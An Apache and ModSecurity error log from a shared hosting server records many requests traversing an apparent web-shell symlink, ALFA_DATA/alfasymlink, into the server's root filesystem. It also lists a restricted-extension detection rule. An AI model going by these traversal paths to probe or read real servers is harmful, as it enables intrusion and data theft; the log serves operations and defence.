[Sat Oct 24 11:44:08.202622 2026] [core:crit] [pid 2653819:tid 2653819] (13)Permission denied: [client 216.244.66.250:45706] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/map_files/' is executable
[Sat Oct 24 11:44:08.202638 2026] [core:crit] [pid 2653819:tid 2653819] (13)Permission denied: [client 216.244.66.250:45706] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/fdinfo/' is executable
[Sat Oct 24 11:44:09.904889 2026] [core:crit] [pid 2661974:tid 2661974] (13)Permission denied: [client 216.244.66.250:54016] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/fd/' is executable
[Sat Oct 24 11:44:09.904933 2026] [core:crit] [pid 2661974:tid 2661974] (13)Permission denied: [client 216.244.66.250:54016] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/map_files/' is executable
[Sat Oct 24 11:44:09.904947 2026] [core:crit] [pid 2661974:tid 2661974] (13)Permission denied: [client 216.244.66.250:54016] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/36/fdinfo/' is executable
[Sat Oct 24 11:44:10.921173 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.229.164.203:20218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:44:34.363745 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 52.3.104.214:40219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/closing_wait
[Sat Oct 24 11:44:38.550129 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.80.185.200:22678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:44:50.677883 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 54.85.7.119:1397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/hardware_error_device/unbind
[Sat Oct 24 11:44:58.570260 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.0.63.151:22979] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:02.460015 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.207.79.144:9525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers_probe
[Sat Oct 24 11:45:06.421143 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.221.222.168:58900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:07.719258 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.194:12546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/min_partial
[Sat Oct 24 11:45:09.758601 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.10:40744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/objects
[Sat Oct 24 11:45:14.661563 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.238.45.183:17905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:26.664651 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.207.79.144:19898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:34.585265 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.84.169.196:40630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:34.594592 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.201:65008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/red_zone
[Sat Oct 24 11:45:42.789481 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.193.102.198:46585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:45:44.416413 2026] [security2:error] [pid 2635677:tid 2635677] [client 85.208.96.199:43764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libtiff.so.5"] [unique_id "atzSqIWurp-t0SwAQgRrPwAAAAQ"]
[Sat Oct 24 11:45:44.416473 2026] [security2:error] [pid 2635677:tid 2635677] [client 85.208.96.199:43764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libtiff.so.5"] [unique_id "atzSqIWurp-t0SwAQgRrPwAAAAQ"]
[Sat Oct 24 11:46:02.484760 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.204.253.129:53803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:46:10.520623 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.231.45.47:10862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:46:18.584214 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.194.226.74:40974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:46:22.504686 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.21.227.240:2407] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:46:38.837445 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.212.131.50:61231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:46:50.537221 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 184.73.167.217:36197] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/pcieport/remove_id
[Sat Oct 24 11:47:12.308308 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 85.208.96.211:27138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:47:13.467667 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.199:53044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/initialize_360monitoring
[Sat Oct 24 11:47:14.858442 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 52.4.229.9:47716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:05.0/resource4_wc
[Sat Oct 24 11:47:18.616655 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.54.157.23:33321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:47:46.729916 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.235.81.246:33941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:47:58.787758 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.210.58.238:26265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:47:58.787976 2026] [security2:error] [pid 2653683:tid 2653683] [client 18.210.58.238:26265] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:01/PNP0303:00/physical_node1/input/input1/input1::capslock/power/runtime_suspended_time"] [unique_id "atzTLr67zmuaHuFajxGmqwAAAA4"]
[Sat Oct 24 11:47:58.788011 2026] [security2:error] [pid 2653683:tid 2653683] [client 18.210.58.238:26265] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:01/PNP0303:00/physical_node1/input/input1/input1::capslock/power/runtime_suspended_time"] [unique_id "atzTLr67zmuaHuFajxGmqwAAAA4"]
[Sat Oct 24 11:48:02.779705 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.225.9.97:61286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:10.942291 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.202.88.37:29489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:21.438798 2026] [security2:error] [pid 2653689:tid 2653689] [client 16.216.88.147:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "atzTRQoF0dEltz9SGyy6twAAABU"]
[Sat Oct 24 11:48:21.439263 2026] [security2:error] [pid 2653689:tid 2653689] [client 16.216.88.147:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "atzTRQoF0dEltz9SGyy6twAAABU"]
[Sat Oct 24 11:48:21.439772 2026] [security2:error] [pid 2653689:tid 2653689] [client 16.216.88.147:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "atzTRQoF0dEltz9SGyy6twAAABU"]
[Sat Oct 24 11:48:22.970812 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.1.157.90:35566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:28.243846 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.1:21716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/store_user
[Sat Oct 24 11:48:35.048441 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.238.45.183:47768] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:42.928287 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.205.113.104:52843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:51.002490 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 23.21.227.240:51308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:48:59.113063 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 50.19.102.70:53900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:02.915118 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.200.54.136:5290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:06.896774 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.83.23.103:43631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:14.803168 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.6.232.201:27101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:22.935866 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.54.15.103:7974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:27.072732 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.94.157.25:5135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:30.883070 2026] [ssl:error] [pid 2653691:tid 2653691] (5)Input/output error: [client 3.89.176.255:63307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:55.302665 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.205.74.196:11347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:49:59.176882 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.93.98.99:48016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:11.178007 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.93.211.16:22618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:19.166144 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.205.127.11:55266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:31.113966 2026] [ssl:error] [pid 2653683:tid 2653683] (5)Input/output error: [client 3.230.69.161:47727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:35.091775 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.83.10.183:2778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:43.246852 2026] [ssl:error] [pid 2653819:tid 2653819] (5)Input/output error: [client 44.223.232.55:41774] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:50:47.224857 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.216.227.216:47393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:03.188844 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.81.253.213:65498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:07.321170 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.73.6.26:34555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:11.302203 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.207.89.138:60568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:19.424352 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.214.19.8:34498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:31.199472 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.227.156.153:39843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:34.602839 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 85.208.96.211:21952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:35.293161 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.93.211.16:15155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:39.351676 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.44.148.203:63994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:42.506788 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 85.208.96.194:63708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:43.189279 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.194.165.45:47944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:51:48.242003 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 185.191.171.7:46790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/align
[Sat Oct 24 11:51:59.484209 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.203.111.15:57212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:52:03.428167 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.224.132.215:64313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:52:19.615616 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.231.118.144:34025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:52:27.697682 2026] [security2:error] [pid 2661978:tid 2661978] [client 85.208.96.212:52640] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ca/index.db"] [unique_id "atzUO1b2-c1qsZ5qYR7_ygAAAAM"]
[Sat Oct 24 11:52:27.698239 2026] [security2:error] [pid 2661978:tid 2661978] [client 85.208.96.212:52640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ca/index.db"] [unique_id "atzUO1b2-c1qsZ5qYR7_ygAAAAM"]
[Sat Oct 24 11:52:27.698820 2026] [security2:error] [pid 2661978:tid 2661978] [client 85.208.96.212:52640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ca/index.db"] [unique_id "atzUO1b2-c1qsZ5qYR7_ygAAAAM"]
[Sat Oct 24 11:52:47.005563 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.209:61326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:04.0/remove
[Sat Oct 24 11:53:11.343226 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.235.158.162:34589] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:16.889160 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.12:19472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/red_zone
[Sat Oct 24 11:53:19.303917 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.198:61168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/destroy_by_rcu
[Sat Oct 24 11:53:23.359574 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 35.169.240.53:23180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:23.406751 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.193:42972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/poison
[Sat Oct 24 11:53:27.610632 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.195.60.66:64120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:31.403452 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.214.19.8:38226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:32.007824 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 185.191.171.13:18508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/object_size
[Sat Oct 24 11:53:39.447440 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.234.197.175:30037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:44.399777 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.83.72.38:16851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:53:59.433672 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.216.86.144:11209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:05.568575 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.21.250.48:47233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:07.638812 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.21.175.228:51547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:11.526922 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.206.249.188:48748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:12.996930 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 185.191.171.7:38024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/usersize
[Sat Oct 24 11:54:15.955054 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.209.100.30:10860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/LNXCPU:00/physical_node/driver/bind
[Sat Oct 24 11:54:19.537498 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 3.231.193.38:10603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/drivers_probe
[Sat Oct 24 11:54:20.366063 2026] [security2:error] [pid 2635677:tid 2635677] [client 43.153.26.165:45304] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atzUrIWurp-t0SwAQgRrVAAAAAQ"]
[Sat Oct 24 11:54:20.367101 2026] [authz_core:error] [pid 2635677:tid 2635677] [client 43.153.26.165:45304] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:54:23.529506 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.194.139.149:30881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:31.808750 2026] [security2:error] [pid 2607843:tid 2607843] [client 3.89.170.186:28365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:13/power/"] [unique_id "atzUtwSwRuPA-FjBma7LiQAAAAI"]
[Sat Oct 24 11:54:31.808836 2026] [security2:error] [pid 2607843:tid 2607843] [client 3.89.170.186:28365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:13/power/"] [unique_id "atzUtwSwRuPA-FjBma7LiQAAAAI"]
[Sat Oct 24 11:54:35.726288 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.221.37.41:23623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:38.071206 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 169.150.196.238:56385] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Sat Oct 24 11:54:43.996843 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 44.205.180.155:47341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/QEMU0002:00/physical_node/driver/bind
[Sat Oct 24 11:54:51.661586 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.94.157.25:30772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:54:59.825741 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.95.193:16790] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:03.746551 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.0.218.219:15157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:55:04.438315 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 45.198.224.125:57564] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:55:08.008604 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.231.45.47:41914] AH02013: coalesce failed to read from data bucket
